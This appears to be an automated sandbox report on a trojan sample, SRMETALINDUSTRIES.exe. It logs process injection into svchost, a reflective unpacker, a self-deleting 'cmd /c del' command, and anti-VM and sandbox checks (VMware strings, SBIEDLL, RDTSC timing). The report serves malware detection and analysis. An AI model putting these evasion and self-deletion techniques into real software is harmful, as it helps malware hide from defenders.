Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A86FB NtClose,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A87AC NtAllocateVirtualMemory,

Source: SRMETALINDUSTRIES.exe	Binary or memory string: OriginalFilename vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000000.00000000.343837964.00000000003F2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameMemberIn.exe4 vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCF_Secretaria.dll< vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356818988.0000000002807000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameEnvoySinks.dll6 vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe	Binary or memory string: OriginalFilename vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000004.00000002.421916752.00000000008D2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameMemberIn.exe4 vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000004.00000002.423597861.000000000162F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe, 00000004.00000002.422684210.0000000000F66000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenamesvchost.exej% vs SRMETALINDUSTRIES.exe
Source: SRMETALINDUSTRIES.exe	Binary or memory string: OriginalFilenameMemberIn.exe4 vs SRMETALINDUSTRIES.exe

Source: SRMETALINDUSTRIES.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: SRMETALINDUSTRIES.exe

ReversingLabs: Detection: 20%

Source: SRMETALINDUSTRIES.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process created: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process created: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SRMETALINDUSTRIES.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@9/5

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_01

Source: SRMETALINDUSTRIES.exe, Forms/mainForm.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.0.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.SRMETALINDUSTRIES.exe.8d0000.1.unpack, Forms/mainForm.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.SRMETALINDUSTRIES.exe.8d0000.0.unpack, Forms/mainForm.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: SRMETALINDUSTRIES.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SRMETALINDUSTRIES.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: SRMETALINDUSTRIES.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: SRMETALINDUSTRIES.exe, 00000004.00000002.423283417.000000000149F000.00000040.00000001.sdmp, svchost.exe, 00000009.00000002.612928123.000000000351F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SRMETALINDUSTRIES.exe, 00000004.00000002.423283417.000000000149F000.00000040.00000001.sdmp, svchost.exe
Source:	Binary string: svchost.pdb source: SRMETALINDUSTRIES.exe, 00000004.00000002.424002139.0000000001800000.00000040.00020000.sdmp
Source:	Binary string: svchost.pdbUGP source: SRMETALINDUSTRIES.exe, 00000004.00000002.424002139.0000000001800000.00000040.00020000.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: SRMETALINDUSTRIES.exe, Forms/mainForm.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.SRMETALINDUSTRIES.exe.8d0000.1.unpack, Forms/mainForm.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.SRMETALINDUSTRIES.exe.8d0000.0.unpack, Forms/mainForm.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_048004F1 push ebp; retf
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_04802725 push 2EFFFFFFh; iretd
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041B87C push eax; ret
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041B812 push eax; ret
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041B81B push eax; ret
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00412A95 pushfd ; retf
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00415BB5 push eax; retf
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004186CA push edx; retn 0076h
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0040169B push es; iretd
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00414EA9 push es; ret
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041B7C5 push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0347D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AB87C push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AB81B push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AB812 push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A2A95 pushfd ; retf
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A5BB5 push eax; retf
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A86CA push edx; retn 0076h
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0059169B push es; iretd
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A4EA9 push es; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AB7C5 push eax; ret

Source: SRMETALINDUSTRIES.exe

Static PE information: 0xE74DE4BD [Sat Dec 20 20:02:05 2092 UTC]

Source: initial sample

Static PE information: section name: .text entropy: 7.20192556121

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Process created: /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'
Source: C:\Windows\SysWOW64\svchost.exe	Process created: /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SRMETALINDUSTRIES.exe PID: 6164, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 00000000005985F4 second address: 00000000005985FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 000000000059898E second address: 0000000000598994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe TID: 5112	Thread sleep time: -38599s >= -30000s
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe TID: 5632	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6980	Thread sleep time: -40000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Code function: 4_2_004088C0 rdtsc

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Thread delayed: delay time: 38599
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000005.00000000.387752965.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.387682336.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000000.361556818.000000000461E000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.368150630.0000000008653000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.384640624.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000005.00000000.387682336.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000005.00000000.384640624.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000005.00000000.402363762.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000005.00000000.402363762.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000005.00000000.387752965.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000005.00000000.441229219.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe

Code function: 4_2_004088C0 rdtsc

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\svchost.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03453B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03453B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034BFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03424F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03424F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034637F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03431B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03431B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034DD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03438794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034A7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03454BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03429240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03437E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034B4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034DB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034DB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0344AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342C600 mov eax, dword ptr fs:[00000030h]
